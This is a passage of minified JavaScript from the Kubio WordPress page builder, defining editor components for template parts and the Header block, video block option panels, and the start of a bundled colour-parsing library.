is-placeholder",tabIndex:0})}function hs({templatePart:e,setAttributes:t,onClose:o,composite:n}){const{slug:a,theme:i,title:{rendered:r}}=e,s=e.content.raw||"",l=(0,Me.useMemo)((()=>(0,gt.parse)(s)),[s]),{createSuccessNotice:u}=(0,Le.useDispatch)(ds.store),c=(0,Me.useCallback)((()=>{t({slug:a,theme:i,area:void 0}),u((0,We.sprintf)(/* translators: %s: template part title. */ /* translators: %s: template part title. */(0,We.__)('Template Part "%s" inserted.',"kubio"),r||a),{type:"snackbar"}),o()}),[a,i]);return(0,Je.jsxs)(Re.__unstableCompositeItem,{as:"div",className:"wp-block-template-part__selection-preview-item",role:"option",onClick:c,onKeyDown:e=>{Na.ENTER!==e.keyCode&&Na.SPACE!==e.keyCode||c()},tabIndex:0,"aria-label":r||a,...n,children:[(0,Je.jsx)(st.BlockPreview,{blocks:l}),(0,Je.jsx)("div",{className:"wp-block-template-part__selection-preview-item-title",children:r||a})]})}function bs({title:e,icon:t,children:o}){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)("div",{className:"wp-block-template-part__selection-panel-group-header",children:[(0,Je.jsx)("span",{className:"wp-block-template-part__selection-panel-group-title",children:e}),(0,Je.jsx)(Re.Icon,{icon:t})]}),(0,Je.jsx)("div",{className:"wp-block-template-part__selection-panel-group-content",children:o})]})}function gs({templateParts:e,setAttributes:t,onClose:o,composite:n}){const a=(0,Me.useMemo)((()=>Object.values((0,Ae.groupBy)(e,"theme"))),[e]),i=(0,De.useAsyncList)(e);return a.map((e=>(0,Je.jsx)(bs,{children:e.map((e=>i.includes(e)?(0,Je.jsx)(hs,{templatePart:e,setAttributes:t,onClose:o,composite:n},e.id):(0,Je.jsx)(ms,{},e.id)))},e[0].theme)))}function ys({templateParts:e,setAttributes:t,filterValue:o,onClose:n,composite:a}){const i=(0,Me.useMemo)((()=>{const t=(0,Ae.deburr)(o).toLowerCase(),n=e.filter((({slug:e,theme:o})=>e.toLowerCase().includes(t)||(0,Ae.deburr)(o).toLowerCase().includes(t)));return n.sort(((e,o)=>{const n=e.slug.toLowerCase().indexOf(t),a=o.slug.toLowerCase().indexOf(t);return-1!==n&&-1!==a?n-a:-1!==n?-1:-1!==a?1:(0,Ae.deburr)(e.theme).toLowerCase().indexOf(t)-(0,Ae.deburr)(o.theme).toLowerCase().indexOf(t)})),n}),[o,e]),r=(0,De.useAsyncList)(i);return i.map((e=>(0,Je.jsx)(bs,{title:e.theme||(0,We.__)("Custom","kubio"),children:r.includes(e)?(0,Je.jsx)(hs,{templatePart:e,setAttributes:t,onClose:n,composite:a},e.id):(0,Je.jsx)(ms,{},e.id)},e.id)))}function ks({setAttributes:e,filterValue:t,onClose:o,blockArea:n}){const a=(0,Re.__unstableUseCompositeState)();let i=(0,Le.useSelect)((e=>e(Bt.store).getEntityRecords("postType","wp_template_part")||[]),[]);return i&&i.length?(n&&(i=i.filter((e=>e.area===n))),t?(0,Je.jsx)(Re.__unstableComposite,{...a,role:"listbox","aria-label":(0,We.__)("List of template parts","kubio"),children:(0,Je.jsx)(ys,{templateParts:i,setAttributes:e,filterValue:t,onClose:o,composite:a})}):(0,Je.jsx)(Re.__unstableComposite,{...a,role:"listbox","aria-label":(0,We.__)("List of template parts","kubio"),children:(0,Je.jsx)(gs,{templateParts:i,setAttributes:e,onClose:o,composite:a})})):null}const fs=e=>{[Na.LEFT,Na.DOWN,Na.RIGHT,Na.UP,Na.BACKSPACE,Na.ENTER].includes(e.keyCode)&&e.stopPropagation()},_s=e=>e.stopPropagation();function vs({setAttributes:e,onClose:t,blockArea:o,className:n=""}){const[a,i]=(0,Me.useState)("");return(0,Je.jsxs)("div",{onKeyPress:_s,onKeyDown:fs,className:n,children:[(0,Je.jsx)(Re.SearchControl,{value:a,onChange:i,className:"wp-block-template-part__selection-preview-search-form"}),(0,Je.jsx)("div",{className:"wp-block-template-part__selection-preview-container",children:(0,Je.jsx)(ks,{setAttributes:e,filterValue:a,onClose:t,blockArea:o})})]})}function xs({area:e,clientId:t,onCreate:o}){const n=e?`core/template-part/${e}`:"core/template-part";return(0,Je.jsx)(st.__experimentalBlockPatternSetup,{clientId:t,startBlankComponent:(0,Je.jsx)(Cs,{onCreate:o}),onBlockPatternSelect:o,filterPatternsFn:e=>{var t,o;return null==e||null===(t=e.blockTypes)||void 0===t||null===(o=t.some)||void 0===o?void 0:o.call(t,(e=>e===n))}})}function Cs({onCreate:e}){return(0,Me.useEffect)((()=>{e()}),[]),null}const Is={initial:1,patterns:2};function Es({area:e,clientId:t,setAttributes:o,blockArea:n}){const{saveEntityRecord:a}=(0,Le.useDispatch)(Bt.store),[i,r]=(0,Me.useState)(Is.initial),s=(0,Me.useCallback)((async(e=[])=>{const t={title:(0,We.__)("Untitled Template Part","kubio"),slug:"template-part",content:(0,gt.serialize)(e),area:n},i=await a("postType","wp_template_part",t);o({slug:i.slug,theme:i.theme,area:n})}),[o,n]);return(0,Je.jsxs)(Je.Fragment,{children:[i===Is.initial&&(0,Je.jsx)(Re.Placeholder,{icon:ps,label:(0,We.__)("Template Part","kubio"),instructions:(0,We.__)("Create a new template part or pick an existing one from the list.","kubio"),children:(0,Je.jsx)(Re.Dropdown,{contentClassName:"wp-block-template-part__placeholder-preview-dropdown-content",position:"bottom right left",renderToggle:({isOpen:e,onToggle:t})=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Re.Button,{isPrimary:!0,onClick:t,"aria-expanded":e,children:(0,We.__)("Choose existing","kubio")}),(0,Je.jsx)(Re.Button,{isTertiary:!0,onClick:()=>r(Is.patterns),children:(0,We.__)("New template part","kubio")})]}),renderContent:({onClose:e})=>(0,Je.jsx)(vs,{setAttributes:o,onClose:e,blockArea:n})})}),i===Is.patterns&&(0,Je.jsx)(xs,{area:n,onCreate:s,clientId:t})]})}const Ts=["kubio-header","kubio-footer","kubio-blog-sidebar","kubio-page-sidebar","header","footer","sidebar"];function Ss({attributes:e,setAttributes:t,isSelected:o,clientId:n,innerBlocksProps:a,tagName:i,blockArea:r,displayAppender:s=!1}){let{slug:l=null,theme:u=null,tagName:c,layout:p={}}=e;const d=(0,Me.useRef)(!1),m=(0,Le.useSelect)((e=>{var t,o;if(d.current)return[];const{getEntityRecords:n}=e("core");let a=n("postType","wp_template_part",{per_page:-1});return a=null===(t=a)||void 0===t||null===(o=t.filter((({area:e})=>e===r)))||void 0===o?void 0:o.map((({id:e})=>e.split("//").pop())),a}),[]);c=i||c;const h=u&&l?u+"//"+l:null,b=(0,Le.useSelect)((e=>{var t;return null===(t=e("core").getCurrentTheme())||void 0===t?void 0:t.stylesheet}));(0,Me.useEffect)((()=>{if((0,Ae.isArray)(m)&&!l){d.current=!0;let e=(0,Ae.first)((0,Ae.intersection)(Ts,m));e||(e=(0,Ae.first)(m)),e&&(0,Ne.silentDispatch)((()=>{t({theme:b,slug:e})}))}}),[m,l]);const g=(0,Le.useSelect)((e=>{var t,o,a,i;return null===(t=e("core/blocks"))||void 0===t||null===(o=t.getBlockType(null===(a=e("core/block-editor"))||void 0===a||null===(i=a.getBlock(n))||void 0===i?void 0:i.name))||void 0===o?void 0:o.title}),[n]);(0,Me.useEffect)((()=>{!u&&b&&(0,Ne.silentDispatch)((()=>t({theme:b})))}),[u,b]);const[y,k]=yn(h),f=(0,De.useInstanceId)(Ss),{isResolved:_,storeInnerBlocks:v,isMissing:x,defaultWrapper:C,content:I}=(0,Le.useSelect)((t=>{var o;const{getEditedEntityRecord:a,hasFinishedResolution:i}=t(Bt.store),{getBlocks:r}=t(st.store),s=["postType","wp_template_part",h],l=h?a(...s):null,u=!!h&&i("getEditedEntityRecord",s),c=null===(o=t(ss.store).__experimentalGetDefaultTemplatePartAreas().find((({area:t})=>t===((null==l?void 0:l.area)||e.area))))||void 0===o?void 0:o.area_tag;return{storeInnerBlocks:r(n),content:(null==l?void 0:l.content)||"",isResolved:u,isMissing:u&&je().isEmpty(l),defaultWrapper:c||"div"}}),[h,n,f]),E=(0,Me.useMemo)((()=>{if(v.length)return v;let e=[];try{e=(0,gt.parse)(I||"")}catch(t){e=[]}return e}),[v,I]),T=(0,st.useBlockProps)({className:Ge()("kubio-template-part")}),S=!l,w=!S&&!x&&_,P=c||C,A=()=>{var e,t;const o=(0,Nt.addQueryArgs)((null===(e=window)||void 0===e||null===(t=e.kubioUtilsData)||void 0===t?void 0:t.admin_url)+"admin.php",{page:"kubio",postId:h,postType:"wp_template_part"});window.location=o},j=(0,Me.useRef)();if((0,Me.useEffect)((()=>(j.current&&j.current.addEventListener("mousedown",A,!0),()=>{j.current&&j.current.removeEventListener("mousedown",A,!0)})),[j.current]),!(0,Ne.isKubioEditor)()){var B,N;const e=null===(B=window)||void 0===B||null===(N=B.kubioUtilsData)||void 0===N?void 0:N.kubioEditorURL,t=je().unset({...T},"inert");return(0,Je.jsx)("div",{...t,children:(0,Je.jsx)(ut.BlockPlaceholder,{title:// translators: %s - block title // translators: %s - block title (0,We.sprintf)((0,We.__)("Kubio %s block","kubio"),g),description:(0,We.__)("A Kubio template part content can be edited inside the Kubio Page Builder","kubio"),children:e&&(0,Je.jsx)(Re.Button,{ref:j,isPrimary:!0,className:"button button-hero kubio-template-part-button--in-editor",children:(0,We.__)("Edit with Kubio","kubio")})})})}return 0===E.length&&(l&&!u||l&&x)?(0,Je.jsx)(P,{...T,children:(0,Je.jsx)(ut.SmallPlaceholder,{message:(0,Je.jsx)("p",{children:(0,We.sprintf)(/* translators: %s: Template part slug */ /* translators: %s: Template part slug */(0,We.__)("Template part has been deleted or is unavailable: %s","kubio"),l)})})}):w&&y?(0,Je.jsx)(P,{...T,children:(0,Je.jsx)(st.Warning,{children:(0,We.__)("Block cannot be rendered inside itself.","kubio")})}):(0,Je.jsxs)(k,{children:[o&&(0,Je.jsx)(ls,{tagName:c,setAttributes:t,isEntityAvailable:w,templatePartId:h,defaultWrapper:C}),S&&(0,Je.jsx)(P,{...T,children:(0,Je.jsx)(Es,{area:e.area,clientId:n,setAttributes:t,blockArea:r})}),w&&(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(cs,{tagName:P,blockProps:T,postId:h,hasInnerBlocks:E.length>0,layout:p,innerBlocksProps:a,displayAppender:s,innerBlocks:E})}),!S&&!_&&(0,Je.jsx)(P,{...T,children:(0,Je.jsx)(Re.Spinner,{})})]})}const ws=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e,n=(0,Me.useMemo)((()=>({name:"header"})),[]),a=(0,Je.jsx)(Le.AsyncModeProvider,{value:!1,children:(0,Je.jsx)(Ss,{blockArea:"header",tagName:t.Container,...e})});return(0,Je.jsx)(Ne.TemplatePartContext.Provider,{value:n,children:(0,Je.jsx)(ut.TemplatePartOverlay,{templatePart:"header",clientId:o,from:"header",children:a})})})),Ps="container",As={[Ps]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_HEADING],states:jn.StatesPresetsEnum.BASIC}}},js=e=>{const t=je().get(As,Ps);return(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Background","kubio"),children:(0,Je.jsx)(ut.BackgroundSection,{styledElement:t,showPanelWrapper:!1,dataHelper:e.dataHelper})})},Bs=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(js,{})}),Ns=(0,Ne.withComputedData)((e=>({currentSlug:e.useAttributePath("slug")})))((({computed:e,type:t,beforeComponent:o,afterComponent:n}={})=>{const{currentTemplate:a,templatePartsOptions:i,config:r}=(0,Ne.useTemplateData)(t),{currentSlug:s}=e,[l,u]=(0,Me.useState)({show:!1,slug:null}),[c,p]=(0,Me.useState)(!1),d=()=>{u({show:!1,slug:null})},{createErrorNotice:m,createSuccessNotice:h}=(0,Ne.useKubioNotices)(),{deleteEntityRecord:b}=(0,Le.useDispatch)("core"),g=je().get(r,"label",(0,We.__)("Part","kubio"));let y=je().get(a,"title.rendered");y=je().startCase(y);const k=je().get(l,"show");return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.sprintf)(// translators: %s: type label // translators: %s: type label (0,We.__)("%s settings","kubio"),je().capitalize(g)),children:[o,(0,Je.jsx)(ut.GutentagSelectWithDelete,{label:(0,We.sprintf)(// translators: %1$s: type label, %2$s: current template label // translators: %1$s: type label, %2$s: current template label (0,We.__)('Page %1$s for "%2$s"',"kubio"),g.toLowerCase(),y),options:i,inlineLabel:!1,onDelete:e=>{u({show:!0,slug:e})},...s}),(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsxs)(lt.ProItem,{tag:Re.Button,onClick:()=>{c||p(!0)},isPrimary:!0,className:"kubio-button-100",urlArgs:{source:t,content:"create-new"},children:[(0,We.sprintf)(// translators: %s: type label // translators: %s: type label (0,We.__)("Create new %s","kubio"),g.toLowerCase()),c&&(0,Je.jsx)(ut.TemplatePartWizard,{type:t,onClose:()=>{p(!1)}})]})}),k&&(0,Je.jsxs)(Re.Modal,{title:`Delete ${g.toLowerCase()}?`,onRequestClose:d,children:[(0,Je.jsx)("p",{children:(0,We.__)("Are you sure you want to delete it?","kubio")}),(0,Je.jsxs)(Re.ButtonGroup,{className:"h-template-part-modal__button-group",children:[(0,Je.jsx)(Re.Button,{isSecondary:!0,onClick:d,children:(0,We.__)("Cancel","kubio")}),(0,Je.jsx)(Re.Button,{isPrimary:!0,isDestructive:!0,onClick:async()=>{d();const e=je().get(l,"slug"),t=i.find((t=>t.value===e));try{await b("postType","wp_template_part",t.id),h(`${je().capitalize(g)} deleted successfully`)}catch(e){m(`Could not delete ${g.toLowerCase()}. Please try again later`)}},children:(0,We.__)("Delete","kubio")})]})]}),n]})})),Os=Ns,Rs=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Os,{type:"header"})}),Ds=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Ne.isKubioEditor)()&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Bs,{}),(0,Je.jsx)(Rs,{...e})]}),(0,Je.jsx)(ws,{...e})]})})),Ls={name:"kubio/header",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},Ms=(0,Sn.extendBlockMeta)(Ls,{title:(0,We.__)("Header","kubio"),description:(0,We.__)("You can replace the default page header with a custom one using the header template part. Create different headers for pages with different personalities.","kubio"),__experimentalLabel:rs(/* translators: Display header name */ /* translators: Display header name */(0,We.__)("%s (Header)","kubio")),icon:Tn.BlockIcons.Header,apiVersion:2,supports:{kubio:{elementsByName:As},reusable:!1,html:!1,multiple:!1},edit:Ds}),Ws=["image"],Hs="full",Gs=e=>(t={})=>{const{attributes:o,innerBlocks:n}=(0,Ne.getBlockDefaultVariation)(e);return(0,gt.createBlock)(e,{...o,...t.attributes},n)},Us={VIDEO:"video",POSTER_IMAGE:"posterImage",ICON_WITH_LIGHTBOX:"iconWithLightbox"};let Fs=[{label:(0,We.__)("Video","kubio"),value:Us.VIDEO},{label:(0,We.__)("Poster with Icon","kubio"),value:Us.POSTER_IMAGE},{label:(0,We.__)("Icon with lightbox","kubio"),value:Us.ICON_WITH_LIGHTBOX}];Fs=(0,lt.addProTagToItems)(Fs,[Us.VIDEO]);const zs={values:Us,options:Fs},Vs={INTERNAL:"internal",YOUTUBE:"youtube",VIMEO:"vimeo"},Ys={values:Vs,options:[{label:(0,We.__)("Self hosted","kubio"),value:Vs.INTERNAL},{label:(0,We.__)("Youtube","kubio"),value:Vs.YOUTUBE},{label:(0,We.__)("Vimeo","kubio"),value:Vs.VIMEO}]},$s={ICON:"icon",BUTTON:"button"},Ks=[{label:(0,We.__)("Icon","kubio"),value:$s.ICON},{label:(0,We.__)("Button","kubio"),value:$s.BUTTON}],qs={values:$s,options:Ks},Xs={[$s.BUTTON]:Gs(hn.BUTTON),[$s.ICON]:()=>Gs(hn.ICON)({attributes:{name:"font-awesome/play"}})},Qs={videoCategory:Ys,videoDisplayAs:zs,posterPlayAction:qs,aspectRatioOptions:[{value:"3-2",label:"3:2"},{value:"4-3",label:(0,We.__)("4:3 - QXGA","kubio")},{value:"16-9",label:(0,We.__)("16:9 - HD","kubio")},{value:"21-9",label:(0,We.__)("21:9 - Ultra wide","kubio")}],posterPlayActionOptions:Ks,posterPlayActionValues:$s,posterDimensionOptions:[{label:(0,We.__)("Auto","kubio"),value:"auto"}],posterDefaultByType:Xs,videoDisplayValues:Us,videoCategorysValues:Vs},Zs=Qs.videoCategory.values,Js={[Zs.INTERNAL]:()=>(0,Je.jsx)(Je.Fragment,{}),[Zs.YOUTUBE]:()=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Modest branding","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.modestBranding"}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Suggested videos","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.suggestedVideo"}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Privacy mode","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.privacyMode"})]}),[Zs.VIMEO]:()=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Intro title","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.introTitle"}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Intro portrait","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.introPortrait"}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Intro byline","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.introByLine"}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Controls color","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.controlsColor",returnRawValue:!0})]})},el=(0,Ne.withComputedData)((e=>{const t=e.getAttribute("videoCategory"),o=Js[t];return{videoTypeIs:{internal:t===Zs.INTERNAL,youtube:t===Zs.YOUTUBE,vimeo:t===Zs.VIMEO},VideoControlsCustom:o,displayAsVideo:e.getAttribute("displayAs")===Qs.videoDisplayAs.values.VIDEO,autoplayWithoutMute:e.getAttribute("playerOptions.autoPlay")&&!e.getAttribute("playerOptions.mute")}}))((({computed:e})=>{const{VideoControlsCustom:t,videoTypeIs:o,displayAsVideo:n,autoplayWithoutMute:a}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.InputControlWithPath,{className:"kubio-video-time-container",label:(0,We.__)("Start time","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.startTime",inline:!0,numeric:!0,min:0}),!o.vimeo&&(0,Je.jsx)(ut.InputControlWithPath,{className:"kubio-video-time-container",label:(0,We.__)("End time","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.endTime",inline:!0,numeric:!0,min:0}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!0}),n&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Autoplay","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.autoPlay"}),a&&(0,Je.jsx)(Re.Tip,{className:"kubio-advanced-background-video-tip",children:(0,We.__)("Some browsers disable autoplay for non-muted videos.","kubio")})]}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Mute","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.mute"}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Loop","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.loop"}),!o.vimeo&&(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Player controls","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"playerOptions.playerControls",alpha:!1}),(0,Je.jsx)(t,{})]})})),tl=el,ol=(0,Ne.withComputedData)((e=>{const{replaceInnerBlocks:t}=(0,Le.useDispatch)("core/block-editor");return{showPosterImage:e.getAttribute("displayAs")===Qs.videoDisplayAs.values.POSTER_IMAGE,playAction:{value:e.getAttribute("posterImage.playAction"),onChange:o=>{(o=>{const n=(0,Qs.posterDefaultByType[o])();t(null==e?void 0:e.clientId,[n],!1)})(o),e.setAttribute("posterImage.playAction",o)}}}}))((({computed:e,imageOptions:t,imageSizeOptions:o,posterSlugOptions:n})=>{const{showPosterImage:a,playAction:i}=e;return a?(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.MediaPicker,{showButton:!0,buttonLabel:(0,We.__)("Change poster image","kubio"),mediaType:"image",withReset:!0,label:(0,We.__)("Poster image","kubio"),...t}),o.length>0&&(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Dimension","kubio"),options:o,...n}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Open in lightbox","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"posterImage.lightbox"}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("Play action","kubio"),options:Qs.posterPlayActionOptions,value:i.value,onChange:i.onChange})]}):(0,Je.jsx)(Je.Fragment,{})})),nl=ol,al=Qs.videoCategory.values,il={[al.INTERNAL]:()=>(0,Je.jsx)(Re.Flex,{align:"bottom",style:{marginBottom:10},children:(0,Je.jsxs)("div",{className:"kubio-video-input-container internal-video",children:[(0,Je.jsxs)(Re.Flex,{justify:"space-between",style:{marginBottom:5},children:[(0,Je.jsx)("span",{children:(0,We.__)("Video","kubio")}),(0,Je.jsx)(ut.PopoverOptionsButton,{popupContent:(0,Je.jsx)(tl,{})})]}),(0,Je.jsx)(ut.MediaPickerWithPath,{showButton:!0,buttonLabel:(0,We.__)("Change video","kubio"),mediaType:"video",type:Ne.WithDataPathTypes.ATTRIBUTE,path:"internalUrl"})]})}),[al.YOUTUBE]:()=>(0,Je.jsxs)(Re.Flex,{align:"end",style:{marginBottom:10},children:[(0,Je.jsx)("div",{className:"kubio-video-input-container",children:(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Youtube link","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"youtubeUrl"})}),(0,Je.jsx)(ut.PopoverOptionsButton,{popupContent:(0,Je.jsx)(tl,{})})]}),[al.VIMEO]:()=>(0,Je.jsxs)(Re.Flex,{align:"bottom",style:{marginBottom:10},children:[(0,Je.jsx)("div",{className:"kubio-video-input-container",children:(0,Je.jsx)(ut.InputControlWithPath,{label:(0,We.__)("Vimeo link","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"vimeoUrl"})}),(0,Je.jsx)(ut.PopoverOptionsButton,{popupContent:(0,Je.jsx)(tl,{})})]})},rl=(0,Ne.withComputedData)((e=>{const{replaceInnerBlocks:t,selectBlock:o}=(0,Le.useDispatch)("core/block-editor"),n=o=>{const n=(0,Qs.posterDefaultByType[o])({attributes:{name:"font-awesome/play"}});t(null==e?void 0:e.clientId,[n],!1)},a={value:e.getAttribute("displayAs"),onChange:t=>{const o=Qs.videoDisplayValues;switch(t){case o.POSTER_IMAGE:const t=e.getAttribute("posterImage.playAction","button");n(t);break;case o.ICON_WITH_LIGHTBOX:n(Qs.posterPlayAction.values.ICON)}e.setAttribute("displayAs",t)}},i=e.getAttribute("videoCategory"),r=il[i],s=(0,Le.useSelect)((t=>{const{getBlock:o}=t("core/block-editor");return o(null==e?void 0:e.clientId)})),l={value:e.getAttribute("posterImage.url"),onChange:t=>{const o={url:t.url,id:t.id,sizeSlug:Hs};e.setAttribute("posterImage",o)},onReset:()=>{e.setAttribute("posterImage",{},{unset:!0})}},u=e.getAttribute("posterImage.id"),c=(0,Le.useSelect)((e=>{const{getMedia:t}=e("core");return u?t(u):null}),[u]),{imageSizes:p}=(0,Le.useSelect)((e=>{const{getSettings:t}=e("core/block-editor");return(0,Ae.pick)(t(),["imageSizes"])})),d=(0,Ae.map)((0,Ae.filter)(p,(({slug:e})=>(0,Ae.get)(c,["media_details","sizes",e,"source_url"]))),(({name:e,slug:t})=>({value:t,label:e}))),m={value:e.getAttribute("posterImage.sizeSlug"),onChange:t=>{const o=(n=t,(0,Ae.get)(c,["media_details","sizes",n,"source_url"]));var n;if(!o)return null;e.setAttribute("posterImage",{url:o,sizeSlug:t})}},h=e.getAttribute("posterImage.playAction");return{VideoPicker:r,displayAs:a,selectInner:()=>{o(s.innerBlocks[0].clientId)},videoCategory:e.getAttribute("videoCategory"),imageOptions:l,imageSizeOptions:d,posterSlugOptions:m,playAction:h}}))((({computed:e})=>{const{VideoPicker:t,displayAs:o,selectInner:n,videoCategory:a,imageOptions:i,imageSizeOptions:r,posterSlugOptions:s,playAction:l}=e;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Video options","kubio"),className:"video-options-panel",children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Display as","kubio"),options:Qs.videoDisplayAs.options,...o}),(0,Je.jsx)(ut.ToggleGroupWithPath,{label:(0,We.__)("Video type","kubio"),options:Qs.videoCategory.options,type:Ne.WithDataPathTypes.ATTRIBUTE,path:"videoCategory"}),(0,Je.jsx)(t,{}),o.value===Qs.videoDisplayValues.VIDEO&&a===Qs.videoCategorysValues.INTERNAL&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.MediaPicker,{showButton:!0,buttonLabel:(0,We.__)("Change poster image","kubio"),mediaType:"image",withReset:!0,label:(0,We.__)("Poster image","kubio"),...i}),r.length>0&&(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Dimension","kubio"),options:r,...s})]}),o.value===Qs.videoDisplayValues.POSTER_IMAGE&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(nl,{imageOptions:i,imageSizeOptions:r,posterSlugOptions:s})]}),(o.value===Qs.videoDisplayValues.POSTER_IMAGE||o.value===Qs.videoDisplayValues.ICON_WITH_LIGHTBOX)&&(0,Je.jsx)("div",{className:"video-options-customize-play__container",children:(0,Je.jsx)(Re.Button,{isPrimary:!0,onClick:n,className:"kubio-button-100 inner-block-button ",children:l===Qs.posterPlayActionValues.BUTTON&&o.value===Qs.videoDisplayValues.POSTER_IMAGE?(0,We.__)("Customize play button","kubio"):(0,We.__)("Customize play icon","kubio")})})]})})})),sl=rl,ll=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(sl,{})}),ul="outer",cl="video",pl="poster",dl="lightbox",ml={[ul]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"],filters:{spacing:{supportsPadding:!1,supportsMargin:!0}}}},[cl]:{label:(0,We.__)("Video","kubio"),internal:!0,supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}},[pl]:{internal:!0,supports:{styles:[],states:["normal"]}},[dl]:{internal:!0,supports:{styles:[],states:["normal"]}}},hl=()=>(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Video","kubio"),children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Aspect ratio","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,options:Qs.aspectRatioOptions,path:"aspectRatio"}),(0,Je.jsx)(ut.BoxShadowWithPath,{label:(0,We.__)("Box shadow","kubio"),style:ul,type:Ne.WithDataPathTypes.STYLE,path:"boxShadow"})]}),bl=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(hl,{})});function gl(e){return gl="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},gl(e)}var yl=/^\s+/,kl=/\s+$/;function fl(e,t){if(t=t||{},(e=e||"")instanceof fl)return e;if(!(this instanceof fl))return new fl(e,t);var o=function(e){var t,o,n,a={r:0,g:0,b:0},i=1,r=null,s=null,l=null,u=!1,c=!1;return"string"==typeof e&&(e=function(e){e=e.replace(yl,"").replace(kl,"").toLowerCase();var t,o=!1;if(Dl[e])e=Dl[e],o=!0;else 